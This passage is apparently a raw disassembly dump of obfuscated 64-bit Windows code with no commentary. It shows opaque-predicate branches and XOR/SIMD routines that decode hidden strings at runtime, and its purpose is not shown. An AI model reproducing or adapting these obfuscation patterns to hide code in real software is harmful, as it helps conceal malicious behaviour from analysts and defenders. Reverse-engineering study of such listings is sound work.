xor r15d, r15d
jmp 0x14019dda3
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x14019df79
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d38e8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019dfd9
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019dfd9
lea rdi, [0x1406d38e8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019dfd9
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x14019dfa9
cmp dword [0x1406cdc94], 0xa
jl 0x14019dff5
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019dff5
jmp 0x14019dff3
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x14019e01d
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019e01d
jmp 0x14019e01b
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x14019e054
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x14019e084
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x14019e066
test ebx, ebx
jne 0x14019e0a9
cmp dword [0x1406d3ce0], 0xa
jl 0x14019e080
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x14019e0ad
test al, al
jne 0x14019e0af
cmp edx, 0xa
jl 0x14019e08d
test ebx, ebx
jne 0x14019e0ab
cmp dword [0x1406d3ce0], 0xa
jl 0x14019e054
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x14019e054
jmp 0x14019e0a7
jmp 0x14019e0a9
jmp 0x14019e0ab
jmp 0x14019e0ad
movabs rax, 0x406f6d781c7f686a
mov qword [rbp + 0x590], rax
mov eax, dword [0x1406d40a0]
lea ecx, [rax - 1]
imul ecx, eax
cmp dword [0x1406d40a4], 0xa
setge r8b
and r8b, cl
mov al, 0x6a
mov r10d, 1
mov r9d, 0xffffffc6
movzx ecx, al
mov eax, ecx
not eax
lea ebx, [r10 + 0x38]
and eax, ebx
lea edx, [r9 + 0x4000000]
and edx, 0x2112001
mov edi, ebx
and edi, 0x7d8219c2
or edi, edx
mov edx, r9d
and edx, 0x80644424
and ebx, 0x88218
or ebx, edi
or ebx, edx
mov edx, ebx
xor edx, 0x7d8a9bda
or edx, ecx
xor ebx, ecx
xor ebx, 0x82756425
and ebx, edx
mov esi, ebx
mov r11d, eax
mov edi, eax
mov edx, ebx
mov ecx, ebx
xor ebx, eax
not eax
not esi
and r11d, 0x1126c810
and esi, eax
and eax, 0x440130c6
add eax, r11d
add eax, 0x2a880009
and edi, 0xaad80729
xor edi, eax
mov eax, edi
xor eax, 0x3baec819
and edx, 0x500738d6
or edx, 0x80000008
and ecx, 0xaad80729
xor ecx, edx
mov edx, ecx
xor edx, 0xd00738de
xor edi, 0xc45137e6
and edi, edx
xor ecx, 0x2ff8c721
and ecx, eax
or ecx, edi
or ebx, esi
mov eax, ebx
xor eax, ecx
not eax
not ebx
and ebx, ecx
or ebx, eax
mov byte [rbp + r10 + 0x58f], bl
test r8b, r8b
jne 0x14019e1ce
cmp r10, 8
je 0x14019e1d0
movzx eax, byte [rbp + r10 + 0x590]
add r10, 1
add r9d, 0xffffffff
jmp 0x14019e0e8
jmp 0x14019e1ce
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x14019e20d
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d34a8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019e26d
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019e26d
lea rdi, [0x1406d34a8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019e26d
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x14019e23d
cmp dword [0x1406cdc94], 0xa
jl 0x14019e289
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019e289
jmp 0x14019e287
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x14019e2b1
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019e2b1
jmp 0x14019e2af
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x14019e2e8
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x14019e31c
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x14019e2fa
test ebx, ebx
jne 0x14019e341
cmp dword [0x1406d3ce0], 0xa
jl 0x14019e314
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x14019e345
test al, al
jne 0x1401a2c08
cmp edx, 0xa
jl 0x14019e325
test ebx, ebx
jne 0x14019e343
cmp dword [0x1406d3ce0], 0xa
jl 0x14019e2e8
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x14019e2e8
jmp 0x14019e33f
jmp 0x14019e341
jmp 0x14019e343
jmp 0x14019e345
test sil, sil
je 0x14019e500
pxor xmm3, xmm3
punpcklbw xmm1, xmm3
punpcklwd xmm1, xmm3
movdqa xmm2, xmmword [0x140265770]
pand xmm2, xmm1
por xmm2, xmmword [0x140265780]
pand xmm1, xmmword [0x140265790]
pxor xmm1, xmm2
movdqa xmm4, xmmword [0x1402657a0]
pxor xmm4, xmm1
movdqa xmm2, xmmword [0x1402657b0]
por xmm2, xmm1
movdqa xmm5, xmmword [0x1402657c0]
pxor xmm5, xmm1
pand xmm5, xmm4
pand xmm1, xmmword [0x1402657d0]
pxor xmm1, xmm5
pxor xmm1, xmmword [0x1402657e0]
pxor xmm2, xmmword [0x1402657f0]
pand xmm2, xmm5
por xmm2, xmm1
movdqa xmm4, xmmword [0x140259880]
pand xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pxor xmm2, xmmword [0x140265800]
movdqa xmmword [rbp + 0x70], xmm2
movzx r9d, word [rbp + 0x70]
rol r9w, 8
punpcklbw xmm0, xmm3
punpcklwd xmm0, xmm3
movdqa xmm1, xmmword [0x140262ab0]
pand xmm1, xmm0
por xmm1, xmmword [0x140265810]
pand xmm0, xmmword [0x140265820]
pxor xmm0, xmm1
movdqa xmm3, xmmword [0x140265830]
pxor xmm3, xmm0
movdqa xmm1, xmmword [0x140265840]
por xmm1, xmm0
movdqa xmm5, xmmword [0x140265850]
pxor xmm5, xmm0
pand xmm5, xmm3
pand xmm0, xmmword [0x140262c00]
pxor xmm0, xmm5
pxor xmm0, xmmword [0x140265860]
pxor xmm1, xmmword [0x140265870]
pand xmm1, xmm5
por xmm1, xmm0
pand xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
pxor xmm1, xmmword [0x140265880]
movdqa xmmword [rbp + 0x1e0], xmm1
movzx edi, word [rbp + 0x1e0]
movzx ebx, word [rbp + 0x1e2]
rol bx, 8
rol di, 8
movzx ecx, sil
mov esi, ecx
and esi, 0xffffffc1
or esi, 0x282380a
and ecx, 0x3e
xor ecx, esi
mov eax, ecx
xor eax, 0xb6ca7ecb
mov esi, ecx
or esi, 0x5e
mov edx, ecx
xor edx, 0x40466a
and edx, eax
and ecx, 0xa1
xor ecx, edx
xor ecx, 0x20
xor esi, 0x7e
and esi, edx
or esi, ecx
xor sil, 0x5f
mov word [rbp + 0x590], r9w
mov word [rbp + 0x592], di
mov word [rbp + 0x594], bx
mov byte [rbp + 0x596], sil
movdqa xmm0, xmm1
movdqa xmm1, xmm2
jmp 0x14019e502
xor esi, esi
test r8b, r8b
jne 0x14019e6d4
test sil, sil
je 0x14019e6cd
pxor xmm3, xmm3
punpcklbw xmm1, xmm3
punpcklwd xmm1, xmm3
movdqa xmm2, xmmword [0x140265770]
pand xmm2, xmm1
por xmm2, xmmword [0x140265780]
pand xmm1, xmmword [0x140265790]
pxor xmm1, xmm2
movdqa xmm4, xmmword [0x1402657a0]
pxor xmm4, xmm1
movdqa xmm2, xmmword [0x1402657b0]
por xmm2, xmm1
movdqa xmm5, xmmword [0x1402657c0]
pxor xmm5, xmm1
pand xmm5, xmm4
pand xmm1, xmmword [0x1402657d0]
pxor xmm1, xmm5
pxor xmm1, xmmword [0x1402657e0]
pxor xmm2, xmmword [0x1402657f0]
pand xmm2, xmm5
por xmm2, xmm1
movdqa xmm4, xmmword [0x140259880]
pand xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pxor xmm2, xmmword [0x140265800]
movdqa xmmword [rbp + 0x80], xmm2
movzx r9d, word [rbp + 0x80]
rol r9w, 8
punpcklbw xmm0, xmm3
punpcklwd xmm0, xmm3
movdqa xmm1, xmmword [0x140262ab0]
pand xmm1, xmm0
por xmm1, xmmword [0x140265810]
pand xmm0, xmmword [0x140265820]
pxor xmm0, xmm1
movdqa xmm3, xmmword [0x140265830]
pxor xmm3, xmm0
movdqa xmm1, xmmword [0x140265840]
por xmm1, xmm0
movdqa xmm5, xmmword [0x140265850]
pxor xmm5, xmm0
pand xmm5, xmm3
pand xmm0, xmmword [0x140262c00]
pxor xmm0, xmm5
pxor xmm0, xmmword [0x140265860]
pxor xmm1, xmmword [0x140265870]
pand xmm1, xmm5
por xmm1, xmm0
pand xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
pxor xmm1, xmmword [0x140265880]
movdqa xmmword [rbp + 0x1f0], xmm1
movzx edi, word [rbp + 0x1f0]
movzx ebx, word [rbp + 0x1f2]
rol bx, 8
rol di, 8
movzx eax, sil
mov ecx, eax
and ecx, 0xffffffc1
or ecx, 0x282380a
and eax, 0x3e
xor eax, ecx
mov ecx, eax
xor ecx, 0xb6ca7ecb
mov esi, eax
or esi, 0x5e
mov edx, eax
xor edx, 0x40466a
and edx, ecx
and eax, 0xa1
xor eax, edx
xor eax, 0x20
xor esi, 0x7e
and esi, edx
or esi, eax
xor sil, 0x5f
mov word [rbp + 0x590], r9w
mov word [rbp + 0x592], di
mov word [rbp + 0x594], bx
mov byte [rbp + 0x596], sil
movdqa xmm0, xmm1
movdqa xmm1, xmm2
jmp 0x14019e347
xor esi, esi
jmp 0x14019e347
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x14019e711
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d3488]
mov rdx, rsi
call fcn.1400e2e50
mov r14d, eax
cmp dword [0x1406cdc94], 0xa
jl 0x14019e742
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019e742
nop dword [rax]
jmp 0x14019e740
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x14019e772
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019e772
nop dword [rax + rax]
jmp 0x14019e770
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x14019e7a9
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
jmp 0x14019e7d9
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp edx, 0xa
jl 0x14019e7bb
test edi, edi
jne 0x14019e7fe
cmp dword [0x1406d3ce0], 0xa
jl 0x14019e7d5
mov esi, dword [0x1406d3ce4]
lea ebx, [rsi - 1]
imul ebx, esi
and ebx, 1
jne 0x14019e802
test al, al
jne 0x14019e804
cmp edx, 0xa
jl 0x14019e7e2
test edi, edi
jne 0x14019e800
cmp dword [0x1406d3ce0], 0xa
jl 0x14019e7a9
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x14019e7a9
jmp 0x14019e7fc
jmp 0x14019e7fe
jmp 0x14019e800
jmp 0x14019e802
test r14b, r14b
je 0x14019e861
movups xmm0, xmmword [0x140264f9a]
movups xmmword [rbp + 0x59a], xmm0
movdqu xmm0, xmmword [0x140264f90]
movdqa xmmword [rbp + 0x590], xmm0
mov eax, dword [0x1406ce420]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406ce424], 0xa
setl r8b
or r8b, cl
mov ecx, dword [0x1406d46d8]
mov bl, 0x52
mov edx, dword [0x1406d46dc]
cmp r8b, 1
jne 0x14019ed06
jmp 0x14019e8ae
mov al, byte [0x14026512a]
mov byte [rbp + 0x594], al
mov eax, dword [0x140265126]
mov dword [rbp + 0x590], eax
mov eax, dword [0x1406ce4c8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406ce4cc], 0xa
setl al
or al, cl
movdqa xmm0, xmmword [0x140265890]
mov cl, 0x3d
cmp al, 1
jne 0x14019f8aa
jmp 0x14019f7ec
test bl, bl
je 0x14019ecf7
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
movdqa xmm0, xmmword [0x1402591a0]
movdqa xmm7, xmmword [str._b_t_n_v]
movdqa xmm6, xmmword [0x1402591c0]
movdqa xmm3, xmmword [0x1402591d0]
xor edi, edi
movdqa xmm4, xmmword [str.9999]
movdqa xmm8, xmmword [0x1402662b0]
movdqa xmm12, xmmword [0x140262c20]
movdqa xmm9, xmmword [0x140265be0]
movdqa xmmword [rbp + 0x620], xmm0
movdqa xmmword [rbp + 0x630], xmm7
movdqa xmmword [rbp + 0x640], xmm6
movdqa xmmword [rbp + 0x650], xmm3
movdqu xmm15, xmmword [rbp + rdi + 0x590]
movdqa xmmword [rbp + 0x560], xmm15
punpcklbw xmm15, xmmword [0x140262c80]
movdqa xmm2, xmm3
paddd xmm2, xmm4
paddd xmm6, xmm4
movdqa xmm1, xmm6
movdqa xmmword [rbp + 0x4e0], xmm6
movdqa xmm6, xmm7
paddd xmm6, xmm4
movdqa xmmword [rbp + 0x4f0], xmm6
movdqa xmm3, xmm0
paddd xmm3, xmm4
movdqa xmmword [rbp + 0x520], xmm3
pand xmm3, xmm8
movdqa xmm10, xmm9
pand xmm6, xmm8
movdqa xmm4, xmm1
pand xmm4, xmm8
movdqa xmm0, xmm2
pand xmm0, xmm8
movdqa xmm7, xmm12
psubd xmm7, xmmword [rbp + 0x620]
movdqa xmm11, xmm12
psubd xmm11, xmmword [rbp + 0x630]
psubd xmm12, xmmword [rbp + 0x640]
movdqa xmm13, xmmword [0x140262c20]
psubd xmm13, xmmword [rbp + 0x650]
movdqa xmm1, xmm8
pandn xmm1, xmm13
por xmm1, xmm0
movdqa xmm9, xmm8
pandn xmm9, xmm12
por xmm9, xmm4
movdqa xmm4, xmm8
pandn xmm4, xmm11
por xmm4, xmm6
movdqa xmm0, xmm8
pandn xmm0, xmm7
por xmm0, xmm3
movdqa xmmword [rbp + 0x4a0], xmm0
movdqa xmm14, xmm13
pand xmm2, xmm10
movdqa xmm6, xmmword [0x140265bb0]
pand xmm13, xmm6
por xmm13, xmm2
movdqa xmm3, xmm15
punpcklwd xmm3, xmmword [0x140262c80]
pand xmm14, xmm3
pxor xmm13, xmm10
pand xmm13, xmm3
pxor xmm3, xmm8
pxor xmm3, xmm1
pxor xmm1, xmm1
movdqa xmm5, xmm12
movdqa xmm0, xmmword [rbp + 0x4e0]
pand xmm0, xmm10
pand xmm12, xmm6
por xmm12, xmm0
punpckhwd xmm15, xmm1
movdqa xmm0, xmmword [rbp + 0x560]
punpckhbw xmm0, xmm1
pand xmm5, xmm15
pxor xmm12, xmm10
pand xmm12, xmm15
pxor xmm15, xmm8
pxor xmm15, xmm9
movdqa xmm2, xmm11
movdqa xmm1, xmmword [rbp + 0x4f0]
pand xmm1, xmm10
pand xmm11, xmm6
por xmm11, xmm1
movdqa xmm1, xmm0
movdqa xmm9, xmm0
punpcklwd xmm1, xmmword [0x140262c80]
pand xmm2, xmm1
pxor xmm11, xmm10
pand xmm11, xmm1
pxor xmm1, xmm8
pxor xmm1, xmm4
movdqa xmm4, xmm7
movdqa xmm0, xmmword [rbp + 0x520]
pand xmm0, xmm10
pand xmm7, xmm6
por xmm7, xmm0
movdqa xmm0, xmm9
punpckhwd xmm0, xmmword [0x140262c80]
movdqa xmm9, xmm10
movdqa xmm6, xmmword [0x140259880]
pand xmm4, xmm0
pxor xmm7, xmm10
pand xmm7, xmm0
movdqa xmm10, xmm0
pxor xmm10, xmm8
pxor xmm10, xmmword [rbp + 0x4a0]
por xmm14, xmm3
por xmm5, xmm15
por xmm2, xmm1
por xmm4, xmm10
movdqa xmm1, xmm14
pandn xmm1, xmm13
pxor xmm13, xmm14
pxor xmm13, xmm1
movdqa xmm1, xmm5
pandn xmm1, xmm12
pxor xmm12, xmm5
movdqa xmm3, xmmword [rbp + 0x650]
pxor xmm12, xmm1
movdqa xmm1, xmm2
pandn xmm1, xmm11
pxor xmm11, xmm2
pxor xmm11, xmm1
movdqa xmm0, xmm4
pandn xmm0, xmm7
pxor xmm7, xmm4
movdqa xmm4, xmmword [str.9999]
pxor xmm7, xmm0
pand xmm13, xmm6
pand xmm12, xmm6
packuswb xmm13, xmm12
pand xmm11, xmm6
pand xmm7, xmm6
movdqa xmm6, xmmword [rbp + 0x640]
movdqa xmm1, xmmword [0x140259280]
pcmpeqd xmm0, xmm0
packuswb xmm11, xmm7
movdqa xmm7, xmmword [rbp + 0x630]
packuswb xmm13, xmm11
pxor xmm13, xmm0
movdqa xmm0, xmmword [rbp + 0x620]
movdqu xmmword [rbp + rdi + 0x590], xmm13
movdqa xmm12, xmmword [0x140262c20]
lea rax, [rdi + 0x10]
paddd xmm3, xmm1
paddd xmm6, xmm1
paddd xmm7, xmm1
paddd xmm0, xmm1
test rdi, rdi
mov rdi, rax
jne 0x14019e90f
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
test bl, bl
jne 0x14019ecf7
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [str.9:_____ABCDEFGH]
movaps xmmword [rbp + 0x590], xmm0
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
xor edi, edi
movdqa xmm3, xmmword [0x1402591d0]
movdqa xmm6, xmmword [0x1402591c0]
movdqa xmm7, xmmword [str._b_t_n_v]
movdqa xmm0, xmmword [0x1402591a0]
jmp 0x14019e90f
test r8b, r8b
jne 0x14019f160
mov bl, byte [rbp + 0x5a9]
test bl, bl
je 0x14019f159
lea eax, [rcx - 1]
imul eax, ecx
test al, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
movdqa xmm0, xmmword [0x1402591a0]
movdqa xmm7, xmmword [str._b_t_n_v]
movdqa xmm6, xmmword [0x1402591c0]
movdqa xmm3, xmmword [0x1402591d0]
xor edi, edi
movdqa xmm4, xmmword [str.9999]
movdqa xmm8, xmmword [0x1402662b0]
movdqa xmm12, xmmword [0x140262c20]
movdqa xmm9, xmmword [0x140265be0]
movdqa xmmword [rbp + 0x620], xmm0
movdqa xmmword [rbp + 0x630], xmm7
movdqa xmmword [rbp + 0x640], xmm6
movdqa xmmword [rbp + 0x650], xmm3
movdqu xmm15, xmmword [rbp + rdi + 0x590]
movdqa xmmword [rbp + 0x560], xmm15
punpcklbw xmm15, xmmword [0x140262c80]
movdqa xmm2, xmm3
paddd xmm2, xmm4
paddd xmm6, xmm4
movdqa xmm1, xmm6
movdqa xmmword [rbp + 0x4e0], xmm6
movdqa xmm6, xmm7
paddd xmm6, xmm4
movdqa xmmword [rbp + 0x4f0], xmm6
movdqa xmm3, xmm0
paddd xmm3, xmm4
movdqa xmmword [rbp + 0x520], xmm3
pand xmm3, xmm8
movdqa xmm10, xmm9
pand xmm6, xmm8
movdqa xmm4, xmm1
pand xmm4, xmm8
movdqa xmm0, xmm2
pand xmm0, xmm8
movdqa xmm7, xmm12
psubd xmm7, xmmword [rbp + 0x620]
movdqa xmm11, xmm12
psubd xmm11, xmmword [rbp + 0x630]
psubd xmm12, xmmword [rbp + 0x640]
movdqa xmm13, xmmword [0x140262c20]
psubd xmm13, xmmword [rbp + 0x650]
movdqa xmm1, xmm8
pandn xmm1, xmm13
por xmm1, xmm0
movdqa xmm9, xmm8
pandn xmm9, xmm12
por xmm9, xmm4
movdqa xmm4, xmm8
pandn xmm4, xmm11
por xmm4, xmm6
movdqa xmm0, xmm8
pandn xmm0, xmm7
por xmm0, xmm3
movdqa xmmword [rbp + 0x4a0], xmm0
movdqa xmm14, xmm13
pand xmm2, xmm10
movdqa xmm6, xmmword [0x140265bb0]
pand xmm13, xmm6
por xmm13, xmm2
movdqa xmm3, xmm15
punpcklwd xmm3, xmmword [0x140262c80]
pand xmm14, xmm3
pxor xmm13, xmm10
pand xmm13, xmm3
pxor xmm3, xmm8
pxor xmm3, xmm1
pxor xmm1, xmm1
movdqa xmm5, xmm12
movdqa xmm0, xmmword [rbp + 0x4e0]
pand xmm0, xmm10
pand xmm12, xmm6
por xmm12, xmm0
punpckhwd xmm15, xmm1
movdqa xmm0, xmmword [rbp + 0x560]
punpckhbw xmm0, xmm1
pand xmm5, xmm15
pxor xmm12, xmm10
pand xmm12, xmm15
pxor xmm15, xmm8
pxor xmm15, xmm9
movdqa xmm2, xmm11
movdqa xmm1, xmmword [rbp + 0x4f0]
pand xmm1, xmm10
pand xmm11, xmm6
por xmm11, xmm1
movdqa xmm1, xmm0
movdqa xmm9, xmm0
punpcklwd xmm1, xmmword [0x140262c80]
pand xmm2, xmm1
pxor xmm11, xmm10
pand xmm11, xmm1
pxor xmm1, xmm8
pxor xmm1, xmm4
movdqa xmm4, xmm7
movdqa xmm0, xmmword [rbp + 0x520]
pand xmm0, xmm10
pand xmm7, xmm6
por xmm7, xmm0
movdqa xmm0, xmm9
punpckhwd xmm0, xmmword [0x140262c80]
movdqa xmm9, xmm10
movdqa xmm6, xmmword [0x140259880]
pand xmm4, xmm0
pxor xmm7, xmm10
pand xmm7, xmm0
movdqa xmm10, xmm0
pxor xmm10, xmm8
pxor xmm10, xmmword [rbp + 0x4a0]
por xmm14, xmm3
por xmm5, xmm15
por xmm2, xmm1
por xmm4, xmm10
movdqa xmm1, xmm14
pandn xmm1, xmm13
pxor xmm13, xmm14
pxor xmm13, xmm1
movdqa xmm1, xmm5
pandn xmm1, xmm12
pxor xmm12, xmm5
movdqa xmm3, xmmword [rbp + 0x650]
pxor xmm12, xmm1
movdqa xmm1, xmm2
pandn xmm1, xmm11
pxor xmm11, xmm2
pxor xmm11, xmm1
movdqa xmm0, xmm4
pandn xmm0, xmm7
pxor xmm7, xmm4
movdqa xmm4, xmmword [str.9999]
pxor xmm7, xmm0
pand xmm13, xmm6
pand xmm12, xmm6
packuswb xmm13, xmm12
pand xmm11, xmm6
pand xmm7, xmm6
movdqa xmm6, xmmword [rbp + 0x640]
movdqa xmm1, xmmword [0x140259280]
pcmpeqd xmm0, xmm0
packuswb xmm11, xmm7
movdqa xmm7, xmmword [rbp + 0x630]
packuswb xmm13, xmm11
pxor xmm13, xmm0
movdqa xmm0, xmmword [rbp + 0x620]
movdqu xmmword [rbp + rdi + 0x590], xmm13
movdqa xmm12, xmmword [0x140262c20]
lea rax, [rdi + 0x10]
paddd xmm3, xmm1
paddd xmm6, xmm1
paddd xmm7, xmm1
paddd xmm0, xmm1
test rdi, rdi
mov rdi, rax
jne 0x14019ed66
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
test bl, bl
jne 0x14019f14e
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [str.9:_____ABCDEFGH]
movaps xmmword [rbp + 0x590], xmm0
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
xor edi, edi
movdqa xmm3, xmmword [0x1402591d0]
movdqa xmm6, xmmword [0x1402591c0]
movdqa xmm7, xmmword [str._b_t_n_v]
movdqa xmm0, xmmword [0x1402591a0]
jmp 0x14019ed66
mov bl, byte [rbp + 0x5a9]
jmp 0x14019e8ae
xor ebx, ebx
jmp 0x14019e8ae
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x14019f19d
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d34c8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019f1fd
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f1fd
lea rdi, [0x1406d34c8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019f1fd
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x14019f1cd
cmp dword [0x1406cdc94], 0xa
jl 0x14019f219
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f219
jmp 0x14019f217
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x14019f241
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f241
jmp 0x14019f23f
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x14019f278
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x14019f2a8
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x14019f28a
test ebx, ebx
jne 0x14019f2cd
cmp dword [0x1406d3ce0], 0xa
jl 0x14019f2a4
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x14019f2d1
test al, al
jne 0x14019f2d3
cmp edx, 0xa
jl 0x14019f2b1
test ebx, ebx
jne 0x14019f2cf
cmp dword [0x1406d3ce0], 0xa
jl 0x14019f278
mov ebx, dword [0x1406d3ce4]
